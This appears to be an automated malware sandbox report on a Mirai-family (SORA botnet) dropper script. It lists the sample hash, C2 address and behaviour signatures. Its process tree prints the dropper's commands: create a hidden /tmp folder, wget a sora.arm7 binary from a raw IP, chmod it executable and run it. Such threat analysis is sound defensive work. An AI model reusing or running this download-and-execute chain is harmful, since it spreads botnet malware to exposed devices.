Analysis
- max time kernel
3s - max time network
5s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
10/09/2026, 19:13
General
- Target payload.sh
- Size 1KB
- Sample260910-xxa7esvcmc
- SHA256 d23bf440668ecbaf669359d6143db30af13573b271845e389c00c826b93a337f
Score
10/10
Malware Config
Extracted
Family
-
mirai
Botnet
-
SORA
C2
-
37.16.74.19
Signatures
- Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 1 IoCs
- Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/payload.sh/tmp/payload.sh1⤵
- Executes dropped EXE
-
/bin/mkdirmkdir -p /tmp/.x2⤵
- Reads runtime system information
-
-
/bin/unameuname -m2⤵
-
-
/usr/bin/wgetwget -q -O .z http://2.27.203.59/sora.arm72⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x .z2⤵
- File and Directory Permissions Modification
-
-
/tmp/.x/.z./.z cosmic1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
.z